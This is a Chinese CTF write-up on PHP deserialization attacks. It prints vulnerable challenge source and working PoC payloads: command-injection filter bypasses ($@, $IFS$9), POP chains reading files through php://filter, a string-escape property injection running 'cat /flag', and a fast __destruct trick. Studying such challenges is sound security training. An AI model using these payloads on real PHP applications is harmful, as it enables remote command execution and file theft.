PHP反序列化与一些例题
反序列化函数触发条件

题目一 空变量绕过
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php highlight_file(__FILE__);
class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); }
function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } }
$ctf=@$_POST['ctf']; @unserialize(base64_decode($ctf)); ?>
|
poc
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } } $a = new ease("ping", array("ca$@t\$IFS$9`find`")); echo base64_encode(serialize($a)); ?>
|
$@空变量 $IFS$9空格 find命令查看当前及子目录下的所有文件
题目二 绕过正则匹配/[oc]:\d+/i
1 2 3 4 5
| if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); }
|
利用加号绕过
题目三 pop链
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php error_reporting(0);
class Popuko { private $No_893; public function POP_TEAM_EPIC(){ $WEBSITE = "MANGA LIFE WIN"; } public function __invoke(){ $this->append($this->No_893); } public function append($anti_takeshobo){ include($anti_takeshobo); } }
class Pipimi{ public $pipi; public function PIPIPMI(){ $h = "超喜欢POP子ww,你也一样对吧(举刀)"; } public function __construct(){ echo "Pipi美永远不会生气ww"; $this->pipi = array(); } public function __get($corepop){ $function = $this->p; return $function(); } } class Goodsisters{
public function PopukoPipimi(){ $is = "Good sisters"; }
public $kiminonawa,$str;
public function __construct($file='index.php'){ $this->kiminonawa = $file; echo 'Welcome to HNCTF2022 ,'; echo 'This is '.$this->kiminonawa."<br>"; } public function __toString(){ return $this->str->kiminonawa; } public function __wakeup(){ if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) { echo "仲良ピース!"; $this->kiminonawa = "index.php"; } } }
if(isset($_GET['pop'])) @unserialize($_GET['pop']);
else{ $a=new Goodsisters; if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){ highlight_file(__FILE__); echo '欸嘿,你也喜欢pop子~对吧ww'; } }
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class Popuko { private $No_893; public function __construct(){ $this -> No_893 = "php://filter/read/convert.base64-encode/resource=f14g.php"; } } class Pipimi{ public $p;
} class Goodsisters{ public $kiminonawa, $str; } $a = new Goodsisters(); $b = new Pipimi(); $c = new Popuko(); $a -> kiminonawa = $a; $a -> str = $b; $b -> p = $c; echo urlencode(serialize($a));
|
pop链,步步为营,触发下一个函数
题目四 字符串逃逸(增多)
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
$b = waf(serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}'))); unserialize($b);
|
每一个bad转化为good会增加一个字符的空间,可以通过waf()修改类的属性,需要增加的字符数和bad的个数相等
题目六 快速反序列化 fast __destruct()
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php highlight_file(__FILE__);
class Start{ public $errMsg; public function __destruct() { die($this->errMsg); } }
class Pwn{ public $obj; public function __invoke(){ $this->obj->evil(); } public function evil() { phpinfo(); } }
class Reverse{ public $func; public function __get($var) { ($this->func)(); } }
class Web{ public $func; public $var; public function evil() { if(!preg_match("/flag/i",$this->var)){ ($this->func)($this->var); }else{ echo "Not Flag"; } } }
class Crypto{ public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; } }
class Misc{ public function evil() { echo "good job but nothing"; } }
$a = @unserialize($_POST['fast']); throw new Exception("Nope");
|
pop链很清晰
1 2 3 4 5 6 7 8
| $a = new Start(); $a->errMsg = new Crypto(); $a->errMsg->obj = new Reverse(); $a->errMsg->obj->func = new Pwn(); $a->errMsg->obj->func->obj = new Web(); $a->errMsg->obj->func->obj->func="system"; $a->errMsg->obj->func->obj->var="cat /fl$@ag"; echo serialize($a);
|
刚开始看题意还以为是条件竞争,写了个爆破脚本(
后来发现题目的意思是fast __destruct(), unserialize()出来的对象,如果赋值给了一个变量,那么这个对象的析构函数会到程序结束时执行,因此在这道题中无法绕过最后的异常抛出。如果单独执行unserialize()函数,那么反序列化出来的对象会在这条语句结束后立刻销毁。
这道题需要我们快速执行__destruct()函数进行命令执行,我们可以把末尾的}去掉一个
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条
1
| O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}}
|
最后的payload
1
| O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}
|
PHP反序列化冷知识